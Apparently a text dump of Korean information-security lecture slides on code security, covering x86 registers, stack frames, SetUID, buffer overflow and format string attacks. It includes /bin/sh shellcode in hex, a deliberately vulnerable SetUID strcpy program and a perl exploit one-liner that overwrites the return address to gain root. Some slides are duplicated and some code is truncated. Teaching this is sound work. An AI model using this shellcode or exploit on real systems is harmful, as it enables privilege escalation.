Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Size: px

Start display at page:

Download "Microsoft PowerPoint - ch04_코드 보안 [호환 모드]"

재용 영
5 years ago
Views:

1 정보보안개론 4 장

2 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다.

3 Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택 (Stack) 이라는메모리 공간이형성되고, 프로그램 로직이동작하기위한인자 (Argument) 와프로세스 상태를저장하는데사용됨. 하위메모리 : 힘 (Heap) 이 생성되고, 프로그램이동작할 때필요한데이터정보를 임시로저장하는데사용됨.

4 Section 01 시스템과프로그램에대한이해 v 80x86 CPU 에서제공하는레지스터 : CPU 의임시메모리 범주이름내용용도 AX(AH, AL) Accumulator 산술연산에주로사용 범용레지스터 오프셋레지스터 BX(BH, BL) Base Register 베이스의주소를저장하는데사용 CX(CH, CL) Count Register 반복적으로실행되는특정명령에사용 DX(DH, DL) Data Register SS 레지스터와함께사용되어스택내의변수값을읽는데사용 BP Base Pointer 오프셋레지스터스택내의변수값을읽는데사용 IP Instruction Pointer 다음명령어의오프셋을저장하며 CS 레지스터와합쳐져다음에수행될명령어의주소형성 SP Stack Pointer SS 레지스터와함께사용되며, 스택의가장끝주소를가리킴 DI Destination Index 다음목적지주소에대한값저장 세그먼트레지스터 SI Source Index 출발지주소에대한값저장 DS Data Segment Register 변수의기본베이스주소저장 ES SS Extra Segment Register Stack Segment Register 변수의추가베이스주소저장 스택의베이스주소저장 CS Code Segment Register 명령어코드의베이스주소저장 플래그레지스터 (Flags Register) CPU 내부의명령에따른결과나명령수행방식을설정하거나설정되는레지스터

5 프로그램실행구조 v main 함수와덧셈을하는 function 이라는서브루틴이있는프로그램. v 와우리눅스 6.2 에서실행. void main(){ int c; c = function(1, 2); } int function(int a, int b){ a = a+b; return a; } sample.c

6 프로그램실행구조 v 어셈블리어생성 Gcc S o sample.a sample.c.file "sample.c.version "01.01" gcc2_compiled.:.text 11.align 4.globl main.type main,@function main: pushl %ebp movl %esp,%ebp subl $4,%esp pushl $ pushl $ call function addl $8,%esp movl %eax,%eax movl %eax,-4(%ebp) L1: leave ret ➊ ➋ ➌ ➍ ➎ ➏ Lfe1:.size main,.lfe1-main.align 4.globl function.type function: function,@function sample.o pushl %ebp movl %esp,%ebp movl 12(%ebp),%eax addl %eax,8(%ebp) movl 8(%ebp),%edx movl %edx,%eax jmp.l p2align 4,,7 ➐ ➑ ➒ ➓.L2: leave ret Lfe2:.size function,.lfe2-function.ident "GCC: (GNU) egcs /Linux (egcs release)

7 프로그램실행구조 ➊0 메인함수시작 메인함수가종료될때프로세스가복귀할주소 (ret) 가스택에저장 ➊ pushl %ebp 스택에 %ebp 값을밀어넣음 (push). 11 ebp는프레임포인터 (Frame Pointer) 또는베이스포인터 (Base Pointer) 라고불림. 프레임포인터는프로그램이동작하면서스택에저장된인수값등을찾아가기위한기준메모리주소임.

8 프로그램실행구조 ➋ movel %esp, %ebp ➌ subl $4, %esp esp 값을 ebp로이동 (move) 하는것으로, esp에서 4바이트를뺀다 (subtraction). 현재의 esp 값을 ebp 레지스터에저장. 즉, 스택에 4바이트 (int 형은 4바이트 ) 의 (esp는스택의항상가장하위메모리빈공간을할당주소를가리키는주소값 ) C 프로그램의 int c; 를실행하는어셈블리어코드

9 프로그램실행구조 ➍ pushl $2 ➎ pushl $1 ➏ call function 이세단계는 main 함수에서 function(1, 2) 를실행한다. 스택에 2를집어넣고다시 1을집어넣은뒤, function 함수를호출. call 명령이 function 함수가끝났을때복귀하는주소를스택에저장.

10 프로그램실행구조 ➍ pushl $2 ➎ pushl $1 ➏ call function 이세단계는 main 함수에서 function(1, 2) 를실행한다. 스택에 2를집어넣고다시 1을집어넣은뒤, function 함수를호출. call 명령이 function 함수가끝났을때복귀하는주소를스택에저장.

11 프로그램실행구조 ➐ pushl %ebp 현재레지스터의 ebp 값을스택에저장. ➑ movl %esp, %ebp 현재의 esp 값을레지스터 ebp 에저장

12 프로그램실행구조 ➒ movl 12(%ebp), %eax ebp 에서 12 바이트를더한주소값의내용 ( 정수 2) 을레지스터 eax 에저장

13 프로그램실행구조 ➓ addl %eax, 8(%ebp) ebp에서 8바이트상위에있는값에 eax 레지스터의값을더함. eax에는현재 2가 ( 단계 ), ebp에서 8 바이트상위에는 1이있음. ebp에서 8바이트상위에 3이저장됨. function 함수의 a=a+b; 가실행되는과정임.

14 프로그램실행구조 ➐11 movl 8(%ebp), edx 8 바이트상위에있는값을 edx 에저장. edx 에는 3 이저장 ➐12 movl %edx, %eax edx 값을 eax 에저장. eax 에도 3 이저장 ➐13 jmp.l2 L2 로점프 ➐14 leave ➐15 ret 함수를끝냄 호출한프로시저로복귀하는명령으로, 스택에서복귀주소를빼내 (Pop), 복귀주소로점프 ➐11 부터 15 ➐단계까지는 function 함수의 return a; 가실행되는과정

15 프로그램실행구조 ➐16 addl $8, %esp esp 에 8 바이트를더함 ➐17 movel %eax, %eax 레지스터 eax 값을레지스터 eax 로복사 ( 사실상의미는없음 ). eax 값은 12 단계에서 3 으로저장되어있었음

16 프로그램실행구조 ➐18 movel %eax, -4(%ebp) eax 값을 ebp에서 4바이트아래의주소값 (int c) 에복사. main 함수의 c= function (1, 2); 가실행되는과정. ➐19 leave ➐20 ret 모든과정을마치고프로그램을종료

17 셀 v 셀이란 운영체제를둘러싸고있으면서입력받는명령어를실행시키는명령어해석기. 본셸, 콘셸, C 셸로나눌수있고, 본셸은유닉스시스템에서사용하는기본셸임. v 셸의역할 자체의내장명령어제공 입력 / 출력 / 오류의리다이렉션 (Redirection) 기능제공 wildcard 기능제공 파이프라인기능제공 조건부 / 무조건부명령열 (Sequences) 작성기능제공 서브셸 (Subshell) 생성기능제공 후면처리 (Background Processing) 가능 셸스크립트 (Shell Script, 프로그램 ) 작성가능

$"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01"$

18 셀 v 셀의실행과취소 셸은 /bin/sh 명령으로실행할수있으며, exit 명령을통해해당셸을빠져나올수 있음. /bin/sh 를버퍼오버플로우나포맷스트링공격에서는다음과같이기계어 코드로바꾸어메모리에올림. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68";

$셀 기계어코드가셸로실행되는지여부확인 char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01"$

19 셀 기계어코드가셸로실행되는지여부확인 char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shellcode; } gcc -o shell -g -ggdb shell.c./shell shell.c

20 프로세스권한과 SetUID v SetUID 유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x 로 권한설정이되어있음. 소유자권한에서 x 가있을자리에 s 가적혀있음. SetUID 파일은해당파일이 11 실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 즉, 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 예 ) test 라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 4-16] 과같이실행되고, SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이 실행됨.

21 프로세스권한과 SetUID v SetUID 유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x 로 권한설정이되어있음. 소유자권한에서 x 가있을자리에 s 가적혀있음. SetUID 파일은해당파일이 11 실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 즉, 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 예 ) test 라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 4-16] 과같이실행되고, SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이 실행됨.

22 프로세스권한과 SetUID 11

23 프로세스권한과 SetUID v 와우리눅스 6.2 버전에서 SetUID 를이용한간단한해킹수행 setuid 부여 11 일반계정으로 SetUID 가부여된셸실행

24 Section 02 버퍼오버플로우 v 버퍼오버플로우란 가장기본개념은 덮어쓰기 다. 정상적인경우에는사용되지않아야주소공간, 즉원래는덮어쓸수없는부분에해커가임의의코드를덮어쓰는것 버퍼오버플로우공격은프로그래머가취약한특정함수를사용해야가능.

25 Section 02 버퍼오버플로우 v 버퍼오버플로우의원리 int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffer, argv[1]); printf("%s\n", &buffer); } ➊ int main(int argc, char *argv[]){ ➊ ➋ ➌ ➍ bugfile.cc argc: 취약한코드인 bugfile.c가컴파일되어실행되는프로그램의인수개수 *argv[]: 포인터배열로서인자로입력되는값에대한번지수를차례대로저장. argv[0]: 실행파일의이름 argv[1]: 첫번째인자의내용 argv[2]: 두번째인자의내용 ➋ char buffer[10]: 10바이트크기의버퍼를할당 ➌ strcpy(buffer, argv[1]); 버퍼에첫번째인자 (argv[1]) 를복사 (abcd 값을버퍼에저장 ). ➍ printf( %s\n, &buffer): 버퍼에저장된내용출력 버퍼오버플로우공격은 strcpy(buffer, argv[1]) 에서일어남.

26 Section 02 버퍼오버플로우 v GDB 를이용하여 main 함수를먼저살펴보고 strcpy 가호출되는과정을살펴본다. gcc -o bugfile bugfile.c gdb bugfile disass main ➊ 0x80483f8 <main>: push %ebp ➋ 0x80483f9 <main+1>: mov %esp,%ebp 스택에 ebp 값을밀어넣고, 현재의 esp 값을 ebp 레지스터에저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp main 함수의 char buffer[10]; 를실행하는과정. 명령은 char 로메모리에 10 바이트를할당하였으나, 메모리에서는모두 4 바이트단위로할당이되니실제로할당되는메모리는 12 바이트가됨.

27 Section 02 버퍼오버플로우 ➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp 에서상위 12 바이트 (0xC) 의내용을 eax 레지스터에저장. eax 레지스터는 char *argv[] 를가리키고, eax 에 argv[] 에대한포인터값이저장. ➎ 0x <main+9>: add $0x4,%eax),%eax eax 값을 4 바이트만큼증가. argv[] 에대한포인터이므로 argv[1] 을가리키게됨. ➏ 0x <main+12>: mov (%eax),%edx eax 레지스터가가리키는주소의값을 edx 레지스터에저장. 프로그램을실행할때인수부분을가리키게됨

28 Section 02 버퍼오버플로우 ➐ 0x <main+14>: push %edx 프로그램을실행할때인수에대한포인터를스택에저장. 인수를주지않고프로그램을실행시키면, 0x0 값이스택에저장됨. ➑ 0x <main+15>: lea 0xfffffff4(%ebp),%eax eax 레지스터의주소값을 12(%ebp) 에저장. [ 그림 4-22] 의 인수에대한포인터 에 eax 의주소값을저장.

29 Section 02 버퍼오버플로우 ➒11 0x <strcpy>: jmp *0x80494c0 버퍼오버플로우공격은여기에서일어남. strcpy 함수는입력된인수의경계를체크하지않음. 인수는 buffer[10] 으로 10바이트길이를넘지않아야하지만이보다큰인수를받아도스택에쓰게됨. 13 개의 A 를인수로쓰게되면 [ 그림 4-25] 와같이 A 가쌓임.

30 Section 02 버퍼오버플로우 v 컴파일하고실행하면서인수로 A 를충분히많이입력시도. bugfile 은관리자권한으로 SetUID 권한을부여 (chmod 4755 bugfile 명령실행 )../bugfile AAAAAAAAAAAAAAA./bugfile AAAAAAAAAAAAAAAA 16번째문자에서세그먼테이션오류발생 bugfile.c의 char buffer[10] 이할당되는주소공간이 12바이트, ebp가저장되는공간이 4바이트이기때문에 A가 16개, 즉 16바이트 ( 주소공간 12바이트, ebp 저장공간 4바이트 ) 가덮어씌워져, ret 주소가저장된메모리주소를A 값으로덮어씌우자일어나게됨.

31 Section 02 버퍼오버플로우 v 일반적으로공격에 egg shell 사용 (gcc o egg eggshell.c 로컴파일 )./egg 메모리의 0xbfffb58 에셸이적재되었음을확인 v 일반사용자권한으로돌아가서펄을이용해 A 문자열과셸의메모리주소를 bugfile 에직접적으로실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x48\xfb\xff\xbf" id

32 Section 02 버퍼오버플로우 v 공격이모두끝난후스택의메모리상태는다음과같음.

33 버퍼오버플로우에취약한함수 v strcpy(char *dest, const char *src); v strcat(char *dest, const char *src); v getwd(char *buf); v gets(char *s); v fscanf(file *stream, const char *format,...); v scanf(const char *format,...); v realpath(char *path, char resolved_path[]); v sprintf(char *str, const char *format);

34 Section 03 포맷스트링 v 포맷스트링공격 버퍼오버플로우공격과매우유사. 포맷스트링문자를사용하지않고출력 함수를사용하는데대한공격 매체로쓰이는포맷스트링은발신자가 B 로되어있는편지봉투고, 공격코드는 편지가됨.

35 포맷스트링의종류 v 포맷스트링의사용예 #include <stdio.h> main(){ char *buffer = "wishfree"; printf("%s\n", buffer); } 포맷스트링 right.c v 포맷스트링의문자의종류 매개변수 변수형식 매개변수 변수형식 %d 정수형 10진수상수 (integer) %u 양의정수 (10진수) %f 실수형상수 (float) %o 양의정수 (8진수) %lf 실수형상수 (double) %x 양의정수 (16진수) %c 문자값 (char) %n * int( 쓰인총바이트수 ) %s 문자열 ((const)(unsigned) char *) %hn %n의반인 2바이트단위

36 포맷스트링공격예 (1) v 문제 스트링문자를이용하지않고, printf 와같은함수이용 #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); } wrong.c wrong.c 에서 char *buffer 에문자열을입력할때 %x 포맷스트링문자추가 #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); } test1.c wishfree 문자열이외에 이라는숫자출력. 이는 wishfree 문자열이저장된다음의메모리에존재하는값으로 0x 을의미. [ 그림 4-31] test1 을실행한결과

$포맷스트링공격예 (2) v 문제 printf("%s%n\n", j, &i) 부분 : argv[1] 값을문자열 (%s) 로바꾼뒤, 해당문자열의 개수를세어그값을 i 의주소값에입력함. #include <stdio.$

37 포맷스트링공격예 (2) v 문제 printf("%s%n\n", j, &i) 부분 : argv[1] 값을문자열 (%s) 로바꾼뒤, 해당문자열의 개수를세어그값을 i 의주소값에입력함. #include <stdio.h> void main(int argc, char *argv[]){ int i=10; printf(" 최초 i의값 : %d\n",i); printf("%s%n\n", argv[1], &i); printf(" 변경된 i의값 : %d\n",i); } test2.c i 값이입력된 A 의개수로변경됨. %s 뒤의 %n 이개수를세는역할을한것임. [ 그림 4-32] test2 를실행한결과

38 포맷스트링과버퍼오버플로우 v 포맷스트링공격포맷스트링을이용하여, 버퍼오버플로우와같이메모리에셸을띄워놓고, ret 값을변조하여관리자권한획득. v 결국포맷스트링과버퍼오버플로우는함수실행시 ret 값을변조하는방법만다를뿐기본개념은같다고볼수있음.

39 요약 v 메모리의기본구조 크게스택과힙으로구분

40 요약 v 80x86 CPU 의주요레지스터 범주이름내용용도 AX(AH, AL) Accumulator 산술연산에주로사용 범용레지스터 BX(BH, BL) Base Register 베이스의주소를저장하는데사용 CX(CH, CL) Count Register 반복적으로실행되는특정명령에사용 DX(DH, DL) Data Register 일반데이터를저장하는데사용 오프셋레지스터 BP Base Pointer 오프셋레지스터스택내의변수값을읽는데사용 SP Stack Pointer 스택의가장끝주소를가리킴. v 셀 운영체제를둘러싸고입력받는명령어를실행시키는명령어해석기다

41 요약 v 프로세스권한과 SetUID 각계정에는고유한 UID 가있으며, SetUID 가부여된프로그램을실행할때다음과같이그권한이 임시적으로바뀔수있다

42 요약 v 버퍼오버플로우 입력값을확인하지않는입력함수에정상보다큰값을입력하여 ret 값을덮어쓰기함으로써, 임의의코드를실행시키기위한공격이다. 입력값을확인하지않는함수는다음과같다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(file *stream, const char *format,...); scanf(const char *format,...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); v 포맷스트링 포맷스트링문자를사용하지않고다음과같이출력함수를사용하는데대한공격이다. 버퍼오버플로우공격처럼 ret 값을변조하여임의의코드를실행시킬수있다. #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); }

43 43 정보보안개론 4 장끝

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,